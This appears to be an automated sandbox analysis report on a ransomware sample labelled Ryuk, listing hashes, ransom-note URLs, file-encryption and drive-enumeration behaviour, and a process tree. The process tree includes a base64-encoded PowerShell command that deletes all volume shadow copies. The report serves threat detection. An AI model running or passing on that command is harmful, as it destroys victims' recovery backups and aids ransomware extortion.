Analysis
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max time kernel
157s -
max time network
169s -
platform
windows10-2004_x64 -
resource
win10v2004-20220721-en -
resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system -
submitted
24-07-2022 20:01
Behavioral task
behavioral1
Sample
f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe
Resource
win7-20220715-en
Behavioral task
behavioral2
Sample
f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe
Resource
win10v2004-20220721-en
General
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Target
f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe
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Size
164KB
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MD5
d8700bfeb6ca585d71e9a09ba397e137
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SHA1
098d4ef6cb097e7f25735a1e10c34bd6acceaa09
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SHA256
f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1
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SHA512
cd79fa10828580a35e48da1c4b298aead84bc2bff023a61ce8ce86c2a445be7a4cec54fe03fcd4b227c7699a8295050dc001e821d6fd2199c33e3fb9583a2566
Malware Config
Extracted
C:\r0lhas2je-readme.txt
ryuk
https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/705E936F048C6A0D
http://decryptor.top/705E936F048C6A0D
https://filehippo.com/download_tor_browser_for_windows/
Signatures
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Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
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Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\PushClose.raw => \??\c:\users\admin\pictures\PushClose.raw.r0lhas2je f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File renamed C:\Users\Admin\Pictures\WaitOpen.png => \??\c:\users\admin\pictures\WaitOpen.png.r0lhas2je f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\X: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\Z: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\G: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\H: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\I: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\M: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\R: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\J: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\N: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\V: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\Y: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\D: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\E: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\F: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\L: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\Q: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\S: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\T: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\A: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\B: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\K: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\O: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\P: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened (read-only) \??\U: f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m3r0e7yfjj.bmp" f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe -
Drops file in Program Files directory 23 IoCs
description ioc Process File opened for modification \??\c:\program files\ExportRegister.vssm f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\NewGrant.wax f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\RepairNew.mp3 f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\UnprotectLock.001 f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\UnregisterRepair.xlsx f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\BlockSend.m4a f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\DebugTrace.mp3 f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\NewInstall.pot f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\ReceiveConnect.mp3 f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\RestartPush.vssm f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\StepSubmit.iso f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\TraceUnregister.midi f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\CompressRead.dib f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\ConvertMove.jfif f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\LockRestore.M2T f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\RedoDisable.php f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\UnblockUndo.search-ms f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File created \??\c:\program files\r0lhas2je-readme.txt f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\InitializeBlock.ppt f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\SplitSkip.fon f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\StepConnect.odt f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File created \??\c:\program files (x86)\r0lhas2je-readme.txt f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe File opened for modification \??\c:\program files\FormatSearch.mov f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4452 f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe 4452 f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe 1376 powershell.exe 1376 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1376 powershell.exe Token: SeBackupPrivilege 3876 vssvc.exe Token: SeRestorePrivilege 3876 vssvc.exe Token: SeAuditPrivilege 3876 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4452 wrote to memory of 1376 4452 f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe 80 PID 4452 wrote to memory of 1376 4452 f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe 80
Processes
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C:\Users\Admin\AppData\Local\Temp\f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe"C:\Users\Admin\AppData\Local\Temp\f0f41725a9bcbeb353d6634a25a8c2f50ba030fb3c74f0baf288315034e053f1.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4452 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1376
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2184
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3876